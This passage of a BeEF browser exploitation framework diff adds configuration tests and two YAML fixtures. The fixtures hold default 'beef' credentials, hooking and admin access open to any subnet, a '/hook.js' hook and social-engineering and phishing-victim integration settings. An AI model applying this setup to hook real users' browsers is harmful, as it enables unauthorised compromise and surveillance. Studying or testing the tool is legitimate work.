+      expect(@config_instance.get('beef.http.public.host')).to eq('example.com')
+      expect(@config_instance.public_port).to eq('80')
+    end
+  end
+
+  context 'beef https enabled configuration values' do
+    it 'should set the https enabled config value' do
+      @config_instance.set('beef.http.https.enable', true)
+      expect(@config_instance.get('beef.http.https.enable')).to eq(true)
+    end
+
+    it 'should get https enabled value set to true' do
+      @config_instance.set('beef.http.public.https', true)
+      expect(@config_instance.public_https_enabled?).to eq(true)
+    end
+
+    it 'should get https enabled value set to false' do
+      @config_instance.set('beef.http.public.https', false)
+      expect(@config_instance.public_https_enabled?).to eq(false)
+    end
+
+    it 'should get the default https to false' do
+      @config_instance.set('beef.http.public.https', nil)
+      expect(@config_instance.get('beef.http.public.https')).to eq(nil)
+      expect(@config_instance.public_https_enabled?).to eq(false)
+    end
+
+    it 'should return public port as 443 if public https is enabled' do
+      @config_instance.set('beef.http.public.https', true)
+      @config_instance.set('beef.http.public.port', nil)
+      expect(@config_instance.get('beef.http.public.https')).to eq(true)
+      expect(@config_instance.get('beef.http.public.port')).to eq(nil)
+      expect(@config_instance.public_https_enabled?).to eq(true)
+      expect(@config_instance.public_port).to eq('443')
+    end
+  end
+
+  context 'beef hosting information' do
+    it 'should return the local host value because a public has not been set' do
+      @config_instance.set('beef.http.host', 'asdqwe')
+      @config_instance.set('beef.http.public.host', nil)
+      expect(@config_instance.get('beef.http.host')).to eq('asdqwe')
+      expect(@config_instance.get('beef.http.public.host')).to eq(nil)
+      expect(@config_instance.beef_host).to eq('asdqwe')
+    end
+
+    it 'should return the public host value because a public has been set' do
+      @config_instance.set('beef.http.host', 'asdqwe')
+      @config_instance.set('beef.http.public.host', 'poilkj')
+      expect(@config_instance.get('beef.http.host')).to eq('asdqwe')
+      expect(@config_instance.get('beef.http.public.host')).to eq('poilkj')
+      expect(@config_instance.beef_host).to eq('poilkj')
+    end
+
+    it 'should return the local port value because a public value has not been set' do
+      @config_instance.set('beef.http.port', '3000')
+      @config_instance.set('beef.http.public.host', nil)
+      @config_instance.set('beef.http.public.port', nil)
+      @config_instance.set('beef.http.public.https', nil)
+      expect(@config_instance.get('beef.http.port')).to eq('3000')
+      expect(@config_instance.get('beef.http.public.port')).to eq(nil)
+      expect(@config_instance.get('beef.http.public.host')).to eq(nil)
+      expect(@config_instance.get('beef.http.public.https')).to eq(nil)
+      expect(@config_instance.beef_port).to eq('3000')
+    end
+
+    it 'should return the public host value because a public has been set' do
+      @config_instance.set('beef.http.port', '3000')
+      @config_instance.set('beef.http.public.port', '80')
+      @config_instance.set('beef.http.public.host', nil)
+      expect(@config_instance.get('beef.http.port')).to eq('3000')
+      expect(@config_instance.get('beef.http.public.port')).to eq('80')
+      expect(@config_instance.get('beef.http.public.host')).to eq(nil)
+      expect(@config_instance.beef_port).to eq('80')
+    end
+    
+    it 'should return a protocol https if https public has been enabled and public host is set' do
+      @config_instance.set('beef.http.public.https', true)
+      @config_instance.set('beef.http.public.host', 'public')
+      expect(@config_instance.get('beef.http.public.https')).to eq(true)
+      expect(@config_instance.beef_proto).to eq('https')
+    end
+
+    it 'should return a protocol http if public is not set and https local is fales'  do
+      @config_instance.set('beef.http.public.https', false)
+      @config_instance.set('beef.http.https.enable', false)
+      expect(@config_instance.get('beef.http.public.https')).to eq(false)
+      expect(@config_instance.beef_proto).to eq('http')
+    end
+
+    it 'should return the full url string for beef local http and port 80' do
+      @config_instance.set('beef.http.host', 'localhost')
+      @config_instance.set('beef.http.port', '80')
+      @config_instance.set('beef.http.https.enable', false)
+      @config_instance.set('beef.http.public.https', false)
+      @config_instance.set('beef.http.public.host', nil)
+      @config_instance.set('beef.http.public.port', nil)
+      expect(@config_instance.get('beef.http.host')).to eq('localhost')
+      expect(@config_instance.get('beef.http.port')).to eq('80')
+      expect(@config_instance.get('beef.http.https.enable')).to eq(false)
+      expect(@config_instance.get('beef.http.public.https')).to eq(false)
+      expect(@config_instance.beef_url_str).to eq('http://localhost:80')
+    end
+
+    it 'should return the full url string for beef https localhost 3000 default' do
+      @config_instance.set('beef.http.host', 'localhost')
+      @config_instance.set('beef.http.port', nil)
+      @config_instance.set('beef.http.https.enable', true)
+      @config_instance.set('beef.http.public.host', nil)
+      @config_instance.set('beef.http.public.https', false)
+      @config_instance.set('beef.http.public.host', nil)
+      @config_instance.set('beef.http.public.port', nil)
+      expect(@config_instance.get('beef.http.host')).to eq('localhost')
+      expect(@config_instance.get('beef.http.port')).to eq(nil)
+      expect(@config_instance.get('beef.http.https.enable')).to eq(true)
+      expect(@config_instance.get('beef.http.public.https')).to eq(false)
+      expect(@config_instance.beef_url_str).to eq('https://localhost:3000')
+    end
+
+    it 'should return the full url string for beef hook url' do
+      @config_instance.set('beef.http.host', 'localhost')
+      @config_instance.set('beef.http.port', nil)
+      @config_instance.set('beef.http.https.enable', true)
+      @config_instance.set('beef.http.public.https', false)
+      @config_instance.set('beef.http.public.host', nil)
+      @config_instance.set('beef.http.public.port', nil)
+      @config_instance.set('beeg.http.hook_file', '/hook.js')
+      expect(@config_instance.get('beef.http.host')).to eq('localhost')
+      expect(@config_instance.get('beef.http.port')).to eq(nil)
+      expect(@config_instance.get('beef.http.https.enable')).to eq(true)
+      expect(@config_instance.get('beef.http.public.https')).to eq(false)
+      expect(@config_instance.get('beef.http.hook_file')).to eq('/hook.js')
+      expect(@config_instance.beef_url_str).to eq('https://localhost:3000')
+      expect(@config_instance.hook_url).to eq('https://localhost:3000/hook.js')
+    end
+  end
+end
diff --git a/spec/support/assets/config_new.yaml b/spec/support/assets/config_new.yaml
new file mode 100644
index 000000000..d309b7bab
--- /dev/null
+++ b/spec/support/assets/config_new.yaml
@@ -0,0 +1,162 @@
+#
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+# BeEF Configuration file
+
+beef:
+    version: '0.5.1.0'
+    # More verbose messages (server-side)
+    debug: false
+    # More verbose messages (client-side)
+    client_debug: false
+    # Used for generating secure tokens
+    crypto_default_value_length: 80
+
+    # Credentials to authenticate in BeEF.
+    # Used by both the RESTful API and the Admin interface
+    credentials:
+        user:   "beef"
+        passwd: "beef"
+
+    # Interface / IP restrictions
+    restrictions:
+        # subnet of IP addresses that can hook to the framework
+        permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that can connect to the admin UI
+        #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
+        permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that cannot be hooked by the framework
+        excluded_hooking_subnet: []
+        # slow API calls to 1 every  api_attempt_delay  seconds
+        api_attempt_delay: "0.05"
+
+    # HTTP server
+    http:
+        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
+        host: "0.0.0.0"
+        port: "3000"
+
+        # Decrease this setting to 1,000 (ms) if you want more responsiveness
+        #  when sending modules and retrieving results.
+        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
+        #  when hooking lots of browsers (50+).
+        # Enabling WebSockets is generally better (beef.websocket.enable)
+        xhr_poll_timeout: 1000
+
+        # Host Name / Domain Name
+        # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
+        #   set the public hostname below:
+        #public: ""      # public hostname/IP address
+
+        # Reverse Proxy / NAT
+        # If you want BeEF to be accessible behind a reverse proxy or NAT,
+        #   set both the publicly accessible hostname/IP address and port below:
+        # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
+        #   by altering the X-FORWARDED-FOR ip address in the request header.
+        allow_reverse_proxy: false
+        
+        # Public settings
+        # These settings will be used to create a public facing URL
+        # This public facing URL will be used for all hook related calls
+        public:
+            host: "example.com"
+            port: 443
+            https: true # public hostname/IP address
+        #public_port: "" # public port (experimental)
+
+        # Hook
+        hook_file: "/hook.js"
+        hook_session_name: "BEEFHOOK"
+
+        # Allow one or multiple origins to access the RESTful API using CORS
+        # For multiple origins use: "http://browserhacker.com, http://domain2.com"
+        restful_api:
+            allow_cors: false
+            cors_allowed_domains: "http://browserhacker.com"
+
+        # Prefer WebSockets over XHR-polling when possible.
+        websocket:
+            enable: false
+            port: 61985 # WS: good success rate through proxies
+            # Use encrypted 'WebSocketSecure'
+            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
+            secure: true
+            secure_port: 61986 # WSSecure
+            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
+            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
+
+        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
+        web_server_imitation:
+            enable: true
+            type: "apache" # Supported: apache, iis, nginx
+            hook_404: false # inject BeEF hook in HTTP 404 responses
+            hook_root: false # inject BeEF hook in the server home page
+        # Experimental HTTPS support for the hook / admin / all other Thin managed web services
+        https:
+            enable: false
+            # Enabled this config setting if you're external facing uri is using https
+            public_enabled: false
+            # In production environments, be sure to use a valid certificate signed for the value
+            # used in beef.http.public (the domain name of the server where you run BeEF)
+            key: "beef_key.pem"
+            cert: "beef_cert.pem"
+
+    database:
+        file: "beef.db"
+
+    # Autorun Rule Engine
+    autorun:
+        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
+        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
+        # continue execution regardless of results.
+        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
+        result_poll_interval: 300
+        result_poll_timeout: 5000
+
+        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
+        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
+        continue_after_timeout: true
+
+    # Enables DNS lookups on zombie IP addresses
+    dns_hostname_lookup: false
+
+    # IP Geolocation
+    # NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
+    geoip:
+        enable: true
+        database: '/opt/GeoIP/GeoLite2-City.mmdb'
+
+    # Integration with PhishingFrenzy
+    # If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
+    # to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
+    integration:
+        phishing_frenzy:
+            enable: false
+
+    # You may override default extension configuration parameters here
+    # Note: additional experimental extensions are available in the 'extensions' directory
+    #       and can be enabled via their respective 'config.yaml' file
+    extension:
+        admin_ui:
+            enable: true
+            base_path: "/ui"
+        demos:
+            enable: true
+        events:
+            enable: true
+        evasion:
+            enable: false
+        requester:
+            enable: true
+        proxy:
+            enable: true
+        network:
+            enable: true
+        metasploit:
+            enable: false
+        social_engineering:
+            enable: true
+        xssrays:
+            enable: true
diff --git a/spec/support/assets/config_old.yaml b/spec/support/assets/config_old.yaml
new file mode 100644
index 000000000..13e919117
--- /dev/null
+++ b/spec/support/assets/config_old.yaml
@@ -0,0 +1,155 @@
+#
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+# BeEF Configuration file
+
+beef:
+    version: '0.5.1.0'
+    # More verbose messages (server-side)
+    debug: false
+    # More verbose messages (client-side)
+    client_debug: false
+    # Used for generating secure tokens
+    crypto_default_value_length: 80
+
+    # Credentials to authenticate in BeEF.
+    # Used by both the RESTful API and the Admin interface
+    credentials:
+        user:   "beef"
+        passwd: "beef"
+
+    # Interface / IP restrictions
+    restrictions:
+        # subnet of IP addresses that can hook to the framework
+        permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that can connect to the admin UI
+        #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
+        permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that cannot be hooked by the framework
+        excluded_hooking_subnet: []
+        # slow API calls to 1 every  api_attempt_delay  seconds
+        api_attempt_delay: "0.05"
+
+    # HTTP server
+    http:
+        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
+        host: "0.0.0.0"
+        port: "3000"
+
+        # Decrease this setting to 1,000 (ms) if you want more responsiveness
+        #  when sending modules and retrieving results.
+        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
+        #  when hooking lots of browsers (50+).
+        # Enabling WebSockets is generally better (beef.websocket.enable)
+        xhr_poll_timeout: 1000
+
+        # Host Name / Domain Name
+        # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
+        #   set the public hostname below:
+        #public: ""      # public hostname/IP address
+
+        # Reverse Proxy / NAT
+        # If you want BeEF to be accessible behind a reverse proxy or NAT,
+        #   set both the publicly accessible hostname/IP address and port below:
+        # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
+        #   by altering the X-FORWARDED-FOR ip address in the request header.
+        allow_reverse_proxy: false
+        #public: "example" # public hostname/IP address
+        #public_port: "" # public port (experimental)
+
+        # Hook
+        hook_file: "/hook.js"
+        hook_session_name: "BEEFHOOK"
+
+        # Allow one or multiple origins to access the RESTful API using CORS
+        # For multiple origins use: "http://browserhacker.com, http://domain2.com"
+        restful_api:
+            allow_cors: false
+            cors_allowed_domains: "http://browserhacker.com"
+
+        # Prefer WebSockets over XHR-polling when possible.
+        websocket:
+            enable: false
+            port: 61985 # WS: good success rate through proxies
+            # Use encrypted 'WebSocketSecure'
+            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
+            secure: true
+            secure_port: 61986 # WSSecure
+            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
+            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
+
+        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
+        web_server_imitation:
+            enable: true
+            type: "apache" # Supported: apache, iis, nginx
+            hook_404: false # inject BeEF hook in HTTP 404 responses
+            hook_root: false # inject BeEF hook in the server home page
+        # Experimental HTTPS support for the hook / admin / all other Thin managed web services
+        https:
+            enable: false
+            # Enabled this config setting if you're external facing uri is using https
+            public_enabled: false
+            # In production environments, be sure to use a valid certificate signed for the value
+            # used in beef.http.public (the domain name of the server where you run BeEF)
+            key: "beef_key.pem"
+            cert: "beef_cert.pem"
+
+    database:
+        file: "beef.db"
+
+    # Autorun Rule Engine
+    autorun:
+        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
+        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
+        # continue execution regardless of results.
+        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
+        result_poll_interval: 300
+        result_poll_timeout: 5000
+
+        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
+        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
+        continue_after_timeout: true
+
+    # Enables DNS lookups on zombie IP addresses
+    dns_hostname_lookup: false
+
+    # IP Geolocation
+    # NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
+    geoip:
+        enable: true
+        database: '/opt/GeoIP/GeoLite2-City.mmdb'
+
+    # Integration with PhishingFrenzy
+    # If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
+    # to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
+    integration:
+        phishing_frenzy:
+            enable: false
+
+    # You may override default extension configuration parameters here
+    # Note: additional experimental extensions are available in the 'extensions' directory
+    #       and can be enabled via their respective 'config.yaml' file
+    extension:
+        admin_ui:
+            enable: true
+            base_path: "/ui"
+        demos:
+            enable: true
+        events:
+            enable: true
+        evasion:
+            enable: false
+        requester:
+            enable: true
+        proxy:
+            enable: true
+        network:
+            enable: true
+        metasploit:
+            enable: false
+        social_engineering:
+            enable: true
+        xssrays:
+            enable: true